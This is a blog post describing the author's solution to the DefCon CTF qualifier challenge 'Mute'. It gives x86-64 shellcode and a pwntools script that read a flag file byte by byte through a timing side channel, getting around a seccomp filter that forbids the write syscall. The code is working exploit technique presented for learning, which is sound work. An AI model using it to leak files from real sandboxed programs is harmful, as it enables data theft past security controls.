lunes, 8 de mayo de 2017

Reading files without the write syscall

Recently, I played in the DefCon CTF quals and there I saw a very interesting challenge called Mute [1]. It was a exploiting challenge, the flow control was very easy but the real challenge was in the libseccomp [2] bypass. It is a library to forbid syscalls that You don't want that the program executes. So, the write syscall wasn't allow.


I had not success with this challenge, but These are to learn!!! So, later, I read the writeup and I saw how it could be solved. One possible solution could be get each character and set a delay if the character match. Like a blind-SQLi.


I saw it very interesting, so I did my own shellcode to read characters and before I wrote a python script that uses this shellcode to read the file and print without the write syscall.

It is the assembly code:
       
global _start

section .text

_start:
        ; sys_open
        xor rax, rax
        xor rdi, rdi
        push rdi
        mov rdi, 0x67616c662f2f2f2e     ; .///flag 2e2f2f2f666c6167
        push rdi
        mov rdi, rsp                    ; *file
        xor rsi, rsi                    ; flags
        xor rdx, rdx                    ; mode
        mov al, 2
        syscall

        mov rdi, rax                    ; fd
        lea rsi, [rsp+8]                ; *buf
        or rdx, 0xf
        xor rax, rax                    ; sys_read
        syscall

        ; rsi is the string
        xor rdx, rdx
        mov rdx, 0x74                   ; compare character
        mov al, byte [rsi]              ; position
        cmp rax, rdx
        jnz exit

        ; guess OK
        xor r11, r11
        mov r11, 0
delay:
        inc r11
        cmp r11, 0x7fffffff
        jb delay

exit:
        xor rdi, rdi
        mov al, 60                      ; sys_exit
        syscall



And it is the python script:
       

#!/usr/bin/env python

from pwn import *
import string
import time

context.log_level = 'error'

u = make_unpacker(64, endian='little', sign='unsigned')
filename = hex(u('.///flag'))
flag = ""
pos = -1
lastchar = 0

while (lastchar < len(string.printable)):
        for i in string.printable:
                start = time.time()
                shellcode = '''
        xor rax, rax 
        xor rdi, rdi 
        push rdi 
        mov rdi, %s
        push rdi 
        mov rdi, rsp                     
        xor rsi, rsi                    
        xor rdx, rdx                    
        mov al, 2
        syscall
        mov rdi, rax                    
        lea rsi, [rsp+8]                
        or rdx, 0xf
        xor rax, rax                    
        syscall
        xor rdx, rdx
        mov rdx, %s                  
        mov al, byte [rsi+%s]
        cmp rax, rdx
        jnz exit
        xor r11, r11
        mov r11, 0
delay:
        inc r11
        cmp r11, 0x7fffffff
        jb delay
exit:
        xor rdi, rdi
        mov al, 60                    
        syscall
'''%(filename,hex(ord(i)),str(pos))
                lastchar += 1
                p = run_assembly(shellcode, arch="amd64")
                p.wait_for_close()
                end = time.time()
                if ((end - start) > 0.5):
                        pos += 1
                        lastchar = 0
                        print "Found: %s"%i
                        flag = "%s%s"%(flag,i)

print "[*] String: %s"%flag



[1] https://ctftime.org/task/4126
[2] https://github.com/seccomp/libseccomp
[3] https://gist.github.com/Sinkmanu/ae701fd14b2c2af1bf745268d896ca52